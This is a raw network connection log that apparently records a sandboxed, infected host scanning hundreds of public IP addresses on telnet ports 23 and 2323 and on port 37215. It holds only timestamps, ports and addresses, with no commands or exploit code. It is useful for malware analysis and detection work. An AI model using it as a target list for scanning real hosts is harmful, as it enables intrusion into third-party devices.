Oct 8, 2024 20:34:48.522559881 CEST	34024	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:48.543680906 CEST	58440	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:48.543679953 CEST	36876	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:48.543679953 CEST	49368	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:48.543692112 CEST	58632	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:48.543698072 CEST	55626	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:48.543698072 CEST	37458	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:48.543699980 CEST	53090	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:48.543705940 CEST	39812	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:48.543709993 CEST	54208	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:48.543709993 CEST	37646	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:48.543709993 CEST	52756	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:48.543715954 CEST	45126	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:48.543723106 CEST	55452	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:48.546078920 CEST	2323	36176	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:48.546279907 CEST	36176	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:48.546758890 CEST	36234	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:48.547164917 CEST	48168	2323	192.168.2.14	187.142.6.139
Oct 8, 2024 20:34:48.547174931 CEST	48168	23	192.168.2.14	77.7.223.214
Oct 8, 2024 20:34:48.547179937 CEST	48168	23	192.168.2.14	42.155.19.26
Oct 8, 2024 20:34:48.547199965 CEST	48168	23	192.168.2.14	166.73.45.113
Oct 8, 2024 20:34:48.547202110 CEST	48168	23	192.168.2.14	82.39.47.3
Oct 8, 2024 20:34:48.547202110 CEST	48168	23	192.168.2.14	166.95.71.196
Oct 8, 2024 20:34:48.547219992 CEST	48168	23	192.168.2.14	146.190.58.254
Oct 8, 2024 20:34:48.547230959 CEST	48168	2323	192.168.2.14	222.129.72.132
Oct 8, 2024 20:34:48.547231913 CEST	48168	23	192.168.2.14	220.178.123.129
Oct 8, 2024 20:34:48.547240019 CEST	48168	23	192.168.2.14	116.43.180.111
Oct 8, 2024 20:34:48.547254086 CEST	48168	23	192.168.2.14	141.251.125.229
Oct 8, 2024 20:34:48.547254086 CEST	48168	23	192.168.2.14	163.82.228.176
Oct 8, 2024 20:34:48.547256947 CEST	48168	23	192.168.2.14	87.18.178.61
Oct 8, 2024 20:34:48.547259092 CEST	48168	23	192.168.2.14	208.219.206.137
Oct 8, 2024 20:34:48.547266006 CEST	48168	23	192.168.2.14	79.250.115.76
Oct 8, 2024 20:34:48.547276974 CEST	48168	23	192.168.2.14	74.56.41.179
Oct 8, 2024 20:34:48.547281981 CEST	48168	23	192.168.2.14	47.110.135.142
Oct 8, 2024 20:34:48.547302961 CEST	48168	23	192.168.2.14	159.236.23.64
Oct 8, 2024 20:34:48.547302961 CEST	48168	23	192.168.2.14	202.251.120.23
Oct 8, 2024 20:34:48.547302961 CEST	48168	23	192.168.2.14	65.157.210.83
Oct 8, 2024 20:34:48.547306061 CEST	48168	2323	192.168.2.14	110.225.25.234
Oct 8, 2024 20:34:48.547318935 CEST	48168	23	192.168.2.14	152.8.244.138
Oct 8, 2024 20:34:48.547318935 CEST	48168	23	192.168.2.14	221.189.177.6
Oct 8, 2024 20:34:48.547338009 CEST	48168	23	192.168.2.14	125.90.219.62
Oct 8, 2024 20:34:48.547353983 CEST	48168	23	192.168.2.14	46.37.156.249
Oct 8, 2024 20:34:48.547367096 CEST	48168	23	192.168.2.14	81.190.54.160
Oct 8, 2024 20:34:48.547369957 CEST	48168	23	192.168.2.14	211.109.240.52
Oct 8, 2024 20:34:48.547386885 CEST	48168	23	192.168.2.14	66.251.58.62
Oct 8, 2024 20:34:48.547388077 CEST	48168	2323	192.168.2.14	135.236.188.24
Oct 8, 2024 20:34:48.547391891 CEST	48168	23	192.168.2.14	97.246.160.151
Oct 8, 2024 20:34:48.547391891 CEST	48168	23	192.168.2.14	60.19.59.17
Oct 8, 2024 20:34:48.547406912 CEST	48168	23	192.168.2.14	221.101.217.19
Oct 8, 2024 20:34:48.547410011 CEST	48168	23	192.168.2.14	153.223.21.76
Oct 8, 2024 20:34:48.547410965 CEST	48168	23	192.168.2.14	86.18.24.237
Oct 8, 2024 20:34:48.547416925 CEST	48168	23	192.168.2.14	123.20.118.24
Oct 8, 2024 20:34:48.547419071 CEST	48168	23	192.168.2.14	101.59.133.139
Oct 8, 2024 20:34:48.547452927 CEST	48168	23	192.168.2.14	57.12.225.25
Oct 8, 2024 20:34:48.547452927 CEST	48168	23	192.168.2.14	89.18.229.241
Oct 8, 2024 20:34:48.547475100 CEST	48168	23	192.168.2.14	162.251.12.177
Oct 8, 2024 20:34:48.547476053 CEST	48168	2323	192.168.2.14	5.117.88.126
Oct 8, 2024 20:34:48.547477007 CEST	48168	23	192.168.2.14	194.250.151.61
Oct 8, 2024 20:34:48.547476053 CEST	48168	23	192.168.2.14	18.255.45.234
Oct 8, 2024 20:34:48.547489882 CEST	48168	23	192.168.2.14	161.186.149.169
Oct 8, 2024 20:34:48.547494888 CEST	48168	23	192.168.2.14	170.57.67.61
Oct 8, 2024 20:34:48.547497034 CEST	48168	23	192.168.2.14	204.231.165.94
Oct 8, 2024 20:34:48.547502041 CEST	48168	23	192.168.2.14	143.242.143.148
Oct 8, 2024 20:34:48.547508001 CEST	48168	23	192.168.2.14	70.78.84.179
Oct 8, 2024 20:34:48.547508001 CEST	48168	23	192.168.2.14	222.130.152.146
Oct 8, 2024 20:34:48.547513962 CEST	48168	23	192.168.2.14	153.162.53.144
Oct 8, 2024 20:34:48.547539949 CEST	48168	23	192.168.2.14	181.90.29.126
Oct 8, 2024 20:34:48.547548056 CEST	48168	23	192.168.2.14	206.44.227.106
Oct 8, 2024 20:34:48.547554970 CEST	48168	23	192.168.2.14	154.60.36.176
Oct 8, 2024 20:34:48.547558069 CEST	48168	2323	192.168.2.14	198.29.16.110
Oct 8, 2024 20:34:48.547558069 CEST	48168	23	192.168.2.14	97.64.8.121
Oct 8, 2024 20:34:48.547570944 CEST	48168	23	192.168.2.14	85.159.122.255
Oct 8, 2024 20:34:48.547575951 CEST	48168	23	192.168.2.14	70.136.215.12
Oct 8, 2024 20:34:48.547576904 CEST	48168	23	192.168.2.14	191.209.189.141
Oct 8, 2024 20:34:48.547585011 CEST	48168	23	192.168.2.14	70.155.124.223
Oct 8, 2024 20:34:48.547594070 CEST	48168	23	192.168.2.14	136.244.179.177
Oct 8, 2024 20:34:48.547594070 CEST	48168	23	192.168.2.14	75.116.21.80
Oct 8, 2024 20:34:48.547600031 CEST	48168	2323	192.168.2.14	194.219.124.246
Oct 8, 2024 20:34:48.547607899 CEST	48168	23	192.168.2.14	98.171.9.95
Oct 8, 2024 20:34:48.547662973 CEST	48168	23	192.168.2.14	219.252.61.62
Oct 8, 2024 20:34:48.547667980 CEST	48168	23	192.168.2.14	62.73.73.0
Oct 8, 2024 20:34:48.547668934 CEST	48168	23	192.168.2.14	178.10.238.40
Oct 8, 2024 20:34:48.547677994 CEST	48168	23	192.168.2.14	126.41.145.161
Oct 8, 2024 20:34:48.547693014 CEST	48168	23	192.168.2.14	83.255.114.206
Oct 8, 2024 20:34:48.547705889 CEST	48168	23	192.168.2.14	209.122.221.183
Oct 8, 2024 20:34:48.547710896 CEST	48168	23	192.168.2.14	17.145.222.255
Oct 8, 2024 20:34:48.547724962 CEST	48168	23	192.168.2.14	105.117.64.220
Oct 8, 2024 20:34:48.547724962 CEST	48168	2323	192.168.2.14	160.163.3.30
Oct 8, 2024 20:34:48.547724962 CEST	48168	23	192.168.2.14	107.36.237.124
Oct 8, 2024 20:34:48.547724962 CEST	48168	23	192.168.2.14	9.35.98.146
Oct 8, 2024 20:34:48.547739983 CEST	48168	23	192.168.2.14	203.222.209.115
Oct 8, 2024 20:34:48.547765017 CEST	48168	23	192.168.2.14	110.168.206.151
Oct 8, 2024 20:34:48.547765970 CEST	48168	23	192.168.2.14	84.83.118.212
Oct 8, 2024 20:34:48.547765017 CEST	48168	23	192.168.2.14	107.176.79.104
Oct 8, 2024 20:34:48.547772884 CEST	48168	23	192.168.2.14	93.133.37.80
Oct 8, 2024 20:34:48.547772884 CEST	48168	23	192.168.2.14	208.114.232.59
Oct 8, 2024 20:34:48.547780991 CEST	48168	23	192.168.2.14	154.169.30.35
Oct 8, 2024 20:34:48.547780991 CEST	48168	23	192.168.2.14	94.110.233.47
Oct 8, 2024 20:34:48.547780991 CEST	48168	2323	192.168.2.14	188.208.145.5
Oct 8, 2024 20:34:48.547785997 CEST	48168	23	192.168.2.14	53.156.224.231
Oct 8, 2024 20:34:48.547800064 CEST	48168	23	192.168.2.14	191.45.233.2
Oct 8, 2024 20:34:48.547817945 CEST	48168	23	192.168.2.14	133.152.129.83
Oct 8, 2024 20:34:48.547831059 CEST	48168	23	192.168.2.14	139.240.23.127
Oct 8, 2024 20:34:48.547831059 CEST	48168	23	192.168.2.14	89.240.127.168
Oct 8, 2024 20:34:48.547835112 CEST	48168	23	192.168.2.14	114.173.6.149
Oct 8, 2024 20:34:48.547835112 CEST	48168	23	192.168.2.14	221.136.108.221
Oct 8, 2024 20:34:48.547835112 CEST	48168	2323	192.168.2.14	41.173.238.95
Oct 8, 2024 20:34:48.547851086 CEST	48168	23	192.168.2.14	193.231.94.92
Oct 8, 2024 20:34:48.547851086 CEST	48168	23	192.168.2.14	31.66.110.142
Oct 8, 2024 20:34:48.547851086 CEST	48168	23	192.168.2.14	14.208.48.206
Oct 8, 2024 20:34:48.547861099 CEST	48168	23	192.168.2.14	171.210.145.91
Oct 8, 2024 20:34:48.547864914 CEST	48168	23	192.168.2.14	82.9.238.177
Oct 8, 2024 20:34:48.547868013 CEST	48168	23	192.168.2.14	124.193.28.75
Oct 8, 2024 20:34:48.547883987 CEST	48168	23	192.168.2.14	83.111.89.48
Oct 8, 2024 20:34:48.547894955 CEST	48168	23	192.168.2.14	113.243.85.14
Oct 8, 2024 20:34:48.547898054 CEST	48168	2323	192.168.2.14	106.128.215.173
Oct 8, 2024 20:34:48.547904968 CEST	48168	23	192.168.2.14	188.33.62.141
Oct 8, 2024 20:34:48.547907114 CEST	48168	23	192.168.2.14	178.35.16.195
Oct 8, 2024 20:34:48.547913074 CEST	48168	23	192.168.2.14	63.209.34.215
Oct 8, 2024 20:34:48.547920942 CEST	48168	23	192.168.2.14	20.105.136.81
Oct 8, 2024 20:34:48.547928095 CEST	48168	23	192.168.2.14	126.92.217.32
Oct 8, 2024 20:34:48.547930002 CEST	48168	23	192.168.2.14	157.63.16.119
Oct 8, 2024 20:34:48.547930002 CEST	48168	23	192.168.2.14	146.214.13.35
Oct 8, 2024 20:34:48.547943115 CEST	48168	23	192.168.2.14	135.5.231.203
Oct 8, 2024 20:34:48.547943115 CEST	48168	23	192.168.2.14	42.189.11.69
Oct 8, 2024 20:34:48.547945976 CEST	48168	23	192.168.2.14	175.194.104.27
Oct 8, 2024 20:34:48.547956944 CEST	48168	23	192.168.2.14	96.149.240.115
Oct 8, 2024 20:34:48.547960997 CEST	48168	2323	192.168.2.14	71.65.240.246
Oct 8, 2024 20:34:48.547971964 CEST	48168	23	192.168.2.14	199.106.174.189
Oct 8, 2024 20:34:48.547975063 CEST	48168	23	192.168.2.14	110.193.218.219
Oct 8, 2024 20:34:48.547990084 CEST	48168	23	192.168.2.14	83.130.186.150
Oct 8, 2024 20:34:48.547996044 CEST	48168	23	192.168.2.14	173.11.59.46
Oct 8, 2024 20:34:48.547998905 CEST	48168	23	192.168.2.14	74.7.190.30
Oct 8, 2024 20:34:48.548000097 CEST	48168	23	192.168.2.14	102.68.36.102
Oct 8, 2024 20:34:48.548011065 CEST	48168	23	192.168.2.14	160.153.196.33
Oct 8, 2024 20:34:48.548012972 CEST	48168	23	192.168.2.14	157.183.122.85
Oct 8, 2024 20:34:48.548019886 CEST	48168	2323	192.168.2.14	110.195.73.128
Oct 8, 2024 20:34:48.548022985 CEST	48168	23	192.168.2.14	121.39.171.251
Oct 8, 2024 20:34:48.548022985 CEST	48168	23	192.168.2.14	169.47.53.194
Oct 8, 2024 20:34:48.548022985 CEST	48168	23	192.168.2.14	101.237.94.76
Oct 8, 2024 20:34:48.548038006 CEST	48168	23	192.168.2.14	172.94.69.83
Oct 8, 2024 20:34:48.548043966 CEST	48168	23	192.168.2.14	143.253.53.181
Oct 8, 2024 20:34:48.548070908 CEST	48168	23	192.168.2.14	70.88.228.88
Oct 8, 2024 20:34:48.548070908 CEST	48168	23	192.168.2.14	66.147.62.161
Oct 8, 2024 20:34:48.548089027 CEST	48168	23	192.168.2.14	217.32.154.117
Oct 8, 2024 20:34:48.548089027 CEST	48168	23	192.168.2.14	172.49.55.216
Oct 8, 2024 20:34:48.548089027 CEST	48168	23	192.168.2.14	204.133.133.113
Oct 8, 2024 20:34:48.548093081 CEST	48168	2323	192.168.2.14	120.206.60.198
Oct 8, 2024 20:34:48.548093081 CEST	48168	23	192.168.2.14	75.254.62.64
Oct 8, 2024 20:34:48.548108101 CEST	48168	23	192.168.2.14	217.31.146.243
Oct 8, 2024 20:34:48.548108101 CEST	48168	23	192.168.2.14	203.133.17.5
Oct 8, 2024 20:34:48.548109055 CEST	48168	23	192.168.2.14	194.34.8.20
Oct 8, 2024 20:34:48.548108101 CEST	48168	23	192.168.2.14	45.248.57.120
Oct 8, 2024 20:34:48.548125029 CEST	48168	23	192.168.2.14	27.243.190.33
Oct 8, 2024 20:34:48.548130035 CEST	48168	23	192.168.2.14	66.114.170.44
Oct 8, 2024 20:34:48.548146963 CEST	48168	23	192.168.2.14	23.143.250.224
Oct 8, 2024 20:34:48.548146963 CEST	48168	2323	192.168.2.14	203.94.246.15
Oct 8, 2024 20:34:48.548161030 CEST	48168	23	192.168.2.14	164.157.129.17
Oct 8, 2024 20:34:48.548167944 CEST	48168	23	192.168.2.14	153.107.151.241
Oct 8, 2024 20:34:48.548178911 CEST	48168	23	192.168.2.14	61.19.236.142
Oct 8, 2024 20:34:48.548180103 CEST	48168	23	192.168.2.14	47.43.92.30
Oct 8, 2024 20:34:48.548178911 CEST	48168	23	192.168.2.14	92.121.243.99
Oct 8, 2024 20:34:48.548186064 CEST	48168	23	192.168.2.14	165.98.185.95
Oct 8, 2024 20:34:48.548192978 CEST	48168	23	192.168.2.14	165.195.38.242
Oct 8, 2024 20:34:48.548204899 CEST	48168	23	192.168.2.14	164.103.241.55
Oct 8, 2024 20:34:48.548206091 CEST	48168	23	192.168.2.14	41.127.48.125
Oct 8, 2024 20:34:48.548206091 CEST	48168	23	192.168.2.14	125.12.163.164
Oct 8, 2024 20:34:48.548232079 CEST	48168	23	192.168.2.14	210.19.235.46
Oct 8, 2024 20:34:48.548234940 CEST	48168	23	192.168.2.14	218.116.139.155
Oct 8, 2024 20:34:48.548238039 CEST	48168	23	192.168.2.14	101.111.50.10
Oct 8, 2024 20:34:48.548252106 CEST	48168	23	192.168.2.14	178.74.133.163
Oct 8, 2024 20:34:48.548254967 CEST	48168	23	192.168.2.14	53.96.153.223
Oct 8, 2024 20:34:48.548254967 CEST	48168	23	192.168.2.14	32.228.169.43
Oct 8, 2024 20:34:48.548257113 CEST	48168	23	192.168.2.14	117.26.166.188
Oct 8, 2024 20:34:48.548268080 CEST	48168	23	192.168.2.14	59.10.134.130
Oct 8, 2024 20:34:48.548268080 CEST	48168	23	192.168.2.14	130.197.94.56
Oct 8, 2024 20:34:48.548748016 CEST	37215	58440	197.138.131.243	192.168.2.14
Oct 8, 2024 20:34:48.548783064 CEST	37215	36876	41.121.20.163	192.168.2.14
Oct 8, 2024 20:34:48.548809052 CEST	58440	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:48.548861980 CEST	36876	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:48.548861980 CEST	36876	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:48.548875093 CEST	58440	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:48.548903942 CEST	48169	37215	192.168.2.14	197.63.202.5
Oct 8, 2024 20:34:48.548909903 CEST	48169	37215	192.168.2.14	197.111.238.123
Oct 8, 2024 20:34:48.548917055 CEST	37215	58632	197.118.22.201	192.168.2.14
Oct 8, 2024 20:34:48.548923016 CEST	48168	2323	192.168.2.14	194.191.220.26
Oct 8, 2024 20:34:48.548922062 CEST	48169	37215	192.168.2.14	197.152.136.215
Oct 8, 2024 20:34:48.548928022 CEST	48169	37215	192.168.2.14	41.158.206.185
Oct 8, 2024 20:34:48.548928022 CEST	48169	37215	192.168.2.14	41.85.23.251
Oct 8, 2024 20:34:48.548942089 CEST	48169	37215	192.168.2.14	41.75.124.157
Oct 8, 2024 20:34:48.548950911 CEST	58632	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:48.548954964 CEST	48169	37215	192.168.2.14	197.175.145.250
Oct 8, 2024 20:34:48.548965931 CEST	48169	37215	192.168.2.14	156.70.207.59
Oct 8, 2024 20:34:48.548978090 CEST	48169	37215	192.168.2.14	197.119.209.134
Oct 8, 2024 20:34:48.548983097 CEST	48169	37215	192.168.2.14	156.93.174.164
Oct 8, 2024 20:34:48.548990011 CEST	48169	37215	192.168.2.14	156.201.115.37
Oct 8, 2024 20:34:48.548994064 CEST	48169	37215	192.168.2.14	41.80.127.66
Oct 8, 2024 20:34:48.549020052 CEST	48169	37215	192.168.2.14	156.0.151.73
Oct 8, 2024 20:34:48.549021006 CEST	48169	37215	192.168.2.14	156.223.9.13
Oct 8, 2024 20:34:48.549036980 CEST	48169	37215	192.168.2.14	41.30.228.95
Oct 8, 2024 20:34:48.549038887 CEST	48169	37215	192.168.2.14	156.45.155.215
Oct 8, 2024 20:34:48.549038887 CEST	48169	37215	192.168.2.14	197.52.247.222
Oct 8, 2024 20:34:48.549050093 CEST	48169	37215	192.168.2.14	197.29.197.163
Oct 8, 2024 20:34:48.549053907 CEST	48169	37215	192.168.2.14	41.45.109.111
Oct 8, 2024 20:34:48.549069881 CEST	48169	37215	192.168.2.14	41.201.76.48
Oct 8, 2024 20:34:48.549071074 CEST	48169	37215	192.168.2.14	156.84.174.254
Oct 8, 2024 20:34:48.549072027 CEST	48169	37215	192.168.2.14	197.164.45.122
Oct 8, 2024 20:34:48.549072027 CEST	48169	37215	192.168.2.14	156.44.168.149
Oct 8, 2024 20:34:48.549078941 CEST	48169	37215	192.168.2.14	197.24.209.196
Oct 8, 2024 20:34:48.549089909 CEST	48169	37215	192.168.2.14	197.162.254.255
Oct 8, 2024 20:34:48.549091101 CEST	48169	37215	192.168.2.14	156.120.158.240
Oct 8, 2024 20:34:48.549091101 CEST	48169	37215	192.168.2.14	156.200.177.177
Oct 8, 2024 20:34:48.549104929 CEST	48169	37215	192.168.2.14	197.74.242.118
Oct 8, 2024 20:34:48.549104929 CEST	48169	37215	192.168.2.14	156.158.138.159
Oct 8, 2024 20:34:48.549123049 CEST	48169	37215	192.168.2.14	41.247.70.39
Oct 8, 2024 20:34:48.549127102 CEST	48169	37215	192.168.2.14	197.59.105.81
Oct 8, 2024 20:34:48.549128056 CEST	48169	37215	192.168.2.14	197.240.120.131
Oct 8, 2024 20:34:48.549139023 CEST	48169	37215	192.168.2.14	41.145.147.145
Oct 8, 2024 20:34:48.549139023 CEST	48169	37215	192.168.2.14	156.161.178.57
Oct 8, 2024 20:34:48.549143076 CEST	48169	37215	192.168.2.14	156.97.207.211
Oct 8, 2024 20:34:48.549145937 CEST	48169	37215	192.168.2.14	41.207.66.161
Oct 8, 2024 20:34:48.549153090 CEST	48169	37215	192.168.2.14	197.127.202.50
Oct 8, 2024 20:34:48.549165964 CEST	48169	37215	192.168.2.14	41.221.208.29
Oct 8, 2024 20:34:48.549168110 CEST	48169	37215	192.168.2.14	156.10.3.210
Oct 8, 2024 20:34:48.549170017 CEST	48169	37215	192.168.2.14	41.103.210.38
Oct 8, 2024 20:34:48.549179077 CEST	48169	37215	192.168.2.14	197.11.226.207
Oct 8, 2024 20:34:48.549185991 CEST	48169	37215	192.168.2.14	156.79.150.83
Oct 8, 2024 20:34:48.549194098 CEST	48169	37215	192.168.2.14	197.107.2.73
Oct 8, 2024 20:34:48.549204111 CEST	48169	37215	192.168.2.14	197.91.155.129
Oct 8, 2024 20:34:48.549213886 CEST	48169	37215	192.168.2.14	197.241.140.97
Oct 8, 2024 20:34:48.549220085 CEST	48169	37215	192.168.2.14	197.212.25.25
Oct 8, 2024 20:34:48.549233913 CEST	48169	37215	192.168.2.14	156.84.154.165
Oct 8, 2024 20:34:48.549235106 CEST	48169	37215	192.168.2.14	197.254.252.10
Oct 8, 2024 20:34:48.549240112 CEST	48169	37215	192.168.2.14	41.131.247.74
Oct 8, 2024 20:34:48.549245119 CEST	48169	37215	192.168.2.14	156.12.163.26
Oct 8, 2024 20:34:48.549247980 CEST	48169	37215	192.168.2.14	197.236.163.124
Oct 8, 2024 20:34:48.549248934 CEST	48169	37215	192.168.2.14	41.43.10.179
Oct 8, 2024 20:34:48.549253941 CEST	48169	37215	192.168.2.14	197.206.185.97
Oct 8, 2024 20:34:48.549257994 CEST	48169	37215	192.168.2.14	41.49.92.176
Oct 8, 2024 20:34:48.549273968 CEST	48169	37215	192.168.2.14	156.94.193.32
Oct 8, 2024 20:34:48.549276114 CEST	48169	37215	192.168.2.14	41.204.100.87
Oct 8, 2024 20:34:48.549290895 CEST	48169	37215	192.168.2.14	197.50.71.35
Oct 8, 2024 20:34:48.549292088 CEST	48169	37215	192.168.2.14	156.108.25.159
Oct 8, 2024 20:34:48.549292088 CEST	48169	37215	192.168.2.14	41.165.126.57
Oct 8, 2024 20:34:48.549298048 CEST	48169	37215	192.168.2.14	156.58.231.228
Oct 8, 2024 20:34:48.549300909 CEST	48169	37215	192.168.2.14	41.210.69.146
Oct 8, 2024 20:34:48.549315929 CEST	48169	37215	192.168.2.14	41.182.73.232
Oct 8, 2024 20:34:48.549323082 CEST	48169	37215	192.168.2.14	197.64.112.250
Oct 8, 2024 20:34:48.549333096 CEST	48169	37215	192.168.2.14	41.145.32.114
Oct 8, 2024 20:34:48.549345016 CEST	48169	37215	192.168.2.14	197.86.203.77
Oct 8, 2024 20:34:48.549346924 CEST	48169	37215	192.168.2.14	197.24.6.87
Oct 8, 2024 20:34:48.549346924 CEST	48169	37215	192.168.2.14	197.162.183.131
Oct 8, 2024 20:34:48.549355984 CEST	48169	37215	192.168.2.14	156.36.231.180
Oct 8, 2024 20:34:48.549375057 CEST	48169	37215	192.168.2.14	197.91.155.62
Oct 8, 2024 20:34:48.549379110 CEST	48169	37215	192.168.2.14	156.31.19.193
Oct 8, 2024 20:34:48.549379110 CEST	48169	37215	192.168.2.14	156.232.105.30
Oct 8, 2024 20:34:48.549387932 CEST	48169	37215	192.168.2.14	41.90.159.17
Oct 8, 2024 20:34:48.549388885 CEST	48169	37215	192.168.2.14	156.185.165.202
Oct 8, 2024 20:34:48.549390078 CEST	48169	37215	192.168.2.14	197.172.92.106
Oct 8, 2024 20:34:48.549390078 CEST	48169	37215	192.168.2.14	197.116.0.134
Oct 8, 2024 20:34:48.549390078 CEST	48169	37215	192.168.2.14	156.118.91.153
Oct 8, 2024 20:34:48.549390078 CEST	48169	37215	192.168.2.14	197.144.114.246
Oct 8, 2024 20:34:48.549396992 CEST	48169	37215	192.168.2.14	156.76.222.6
Oct 8, 2024 20:34:48.549401999 CEST	48169	37215	192.168.2.14	197.161.192.134
Oct 8, 2024 20:34:48.549402952 CEST	48169	37215	192.168.2.14	197.138.54.154
Oct 8, 2024 20:34:48.549418926 CEST	48169	37215	192.168.2.14	41.217.8.188
Oct 8, 2024 20:34:48.549422026 CEST	48169	37215	192.168.2.14	41.2.201.68
Oct 8, 2024 20:34:48.549422026 CEST	48169	37215	192.168.2.14	156.106.58.207
Oct 8, 2024 20:34:48.549422026 CEST	48169	37215	192.168.2.14	41.89.163.6
Oct 8, 2024 20:34:48.549423933 CEST	48169	37215	192.168.2.14	41.117.88.160
Oct 8, 2024 20:34:48.549428940 CEST	48169	37215	192.168.2.14	197.102.169.57
Oct 8, 2024 20:34:48.549446106 CEST	48169	37215	192.168.2.14	156.229.120.55
Oct 8, 2024 20:34:48.549446106 CEST	48169	37215	192.168.2.14	156.58.174.46
Oct 8, 2024 20:34:48.549447060 CEST	48169	37215	192.168.2.14	41.143.73.136
Oct 8, 2024 20:34:48.549453974 CEST	48169	37215	192.168.2.14	156.167.38.249
Oct 8, 2024 20:34:48.549469948 CEST	48169	37215	192.168.2.14	41.35.60.43
Oct 8, 2024 20:34:48.549469948 CEST	48169	37215	192.168.2.14	41.69.199.35
Oct 8, 2024 20:34:48.549480915 CEST	48169	37215	192.168.2.14	156.132.234.115
Oct 8, 2024 20:34:48.549485922 CEST	48169	37215	192.168.2.14	197.165.194.207
Oct 8, 2024 20:34:48.549487114 CEST	48169	37215	192.168.2.14	197.3.42.6
Oct 8, 2024 20:34:48.549485922 CEST	48169	37215	192.168.2.14	41.90.245.116
Oct 8, 2024 20:34:48.549501896 CEST	48169	37215	192.168.2.14	156.121.100.57
Oct 8, 2024 20:34:48.549514055 CEST	48169	37215	192.168.2.14	41.49.236.52
Oct 8, 2024 20:34:48.549521923 CEST	48169	37215	192.168.2.14	197.78.145.82
Oct 8, 2024 20:34:48.549521923 CEST	48169	37215	192.168.2.14	41.189.152.101
Oct 8, 2024 20:34:48.549532890 CEST	48169	37215	192.168.2.14	156.111.236.226
Oct 8, 2024 20:34:48.549537897 CEST	48169	37215	192.168.2.14	156.35.34.91
Oct 8, 2024 20:34:48.549544096 CEST	48169	37215	192.168.2.14	156.23.37.13
Oct 8, 2024 20:34:48.549549103 CEST	48169	37215	192.168.2.14	197.75.91.30
Oct 8, 2024 20:34:48.549549103 CEST	48169	37215	192.168.2.14	41.68.111.186
Oct 8, 2024 20:34:48.549559116 CEST	48169	37215	192.168.2.14	41.89.58.194
Oct 8, 2024 20:34:48.549568892 CEST	48169	37215	192.168.2.14	41.174.218.137
Oct 8, 2024 20:34:48.549572945 CEST	48169	37215	192.168.2.14	156.197.60.7
Oct 8, 2024 20:34:48.549572945 CEST	48169	37215	192.168.2.14	197.38.118.128
Oct 8, 2024 20:34:48.549575090 CEST	48169	37215	192.168.2.14	197.202.99.236
Oct 8, 2024 20:34:48.549576044 CEST	48169	37215	192.168.2.14	41.47.104.159
Oct 8, 2024 20:34:48.549592018 CEST	48169	37215	192.168.2.14	156.107.39.247
Oct 8, 2024 20:34:48.549592018 CEST	48169	37215	192.168.2.14	41.167.198.78
Oct 8, 2024 20:34:48.549604893 CEST	48169	37215	192.168.2.14	41.57.119.199
Oct 8, 2024 20:34:48.549608946 CEST	48169	37215	192.168.2.14	156.78.246.34
Oct 8, 2024 20:34:48.549629927 CEST	48169	37215	192.168.2.14	156.180.82.79
Oct 8, 2024 20:34:48.549629927 CEST	48169	37215	192.168.2.14	156.17.33.134
Oct 8, 2024 20:34:48.549638033 CEST	48169	37215	192.168.2.14	197.36.78.96
Oct 8, 2024 20:34:48.549644947 CEST	48169	37215	192.168.2.14	197.138.45.220
Oct 8, 2024 20:34:48.549644947 CEST	48169	37215	192.168.2.14	156.121.182.121
Oct 8, 2024 20:34:48.549645901 CEST	48169	37215	192.168.2.14	41.231.155.254
Oct 8, 2024 20:34:48.549653053 CEST	48169	37215	192.168.2.14	197.158.210.119
Oct 8, 2024 20:34:48.549660921 CEST	48169	37215	192.168.2.14	197.72.97.28
Oct 8, 2024 20:34:48.549664021 CEST	48169	37215	192.168.2.14	41.204.66.244
Oct 8, 2024 20:34:48.549671888 CEST	48169	37215	192.168.2.14	197.253.156.215
Oct 8, 2024 20:34:48.549680948 CEST	48169	37215	192.168.2.14	197.118.116.176
Oct 8, 2024 20:34:48.549685001 CEST	48169	37215	192.168.2.14	156.11.12.191
Oct 8, 2024 20:34:48.549696922 CEST	48169	37215	192.168.2.14	156.15.83.196
Oct 8, 2024 20:34:48.549696922 CEST	48169	37215	192.168.2.14	156.53.100.159
Oct 8, 2024 20:34:48.549699068 CEST	48169	37215	192.168.2.14	41.250.15.156
Oct 8, 2024 20:34:48.549716949 CEST	48169	37215	192.168.2.14	197.179.209.47
Oct 8, 2024 20:34:48.549717903 CEST	48169	37215	192.168.2.14	41.186.189.197
Oct 8, 2024 20:34:48.549729109 CEST	48169	37215	192.168.2.14	41.0.25.44
Oct 8, 2024 20:34:48.549729109 CEST	48169	37215	192.168.2.14	197.86.125.250
Oct 8, 2024 20:34:48.549729109 CEST	48169	37215	192.168.2.14	156.95.91.12
Oct 8, 2024 20:34:48.549746037 CEST	48169	37215	192.168.2.14	41.249.225.19
Oct 8, 2024 20:34:48.549746037 CEST	48169	37215	192.168.2.14	41.132.83.83
Oct 8, 2024 20:34:48.549747944 CEST	48169	37215	192.168.2.14	41.172.191.211
Oct 8, 2024 20:34:48.549766064 CEST	48169	37215	192.168.2.14	41.192.64.140
Oct 8, 2024 20:34:48.549767971 CEST	48169	37215	192.168.2.14	156.40.28.201
Oct 8, 2024 20:34:48.549779892 CEST	48169	37215	192.168.2.14	41.75.55.115
Oct 8, 2024 20:34:48.549786091 CEST	48169	37215	192.168.2.14	197.48.217.81
Oct 8, 2024 20:34:48.549786091 CEST	48169	37215	192.168.2.14	197.106.178.133
Oct 8, 2024 20:34:48.549798012 CEST	48169	37215	192.168.2.14	197.100.213.61
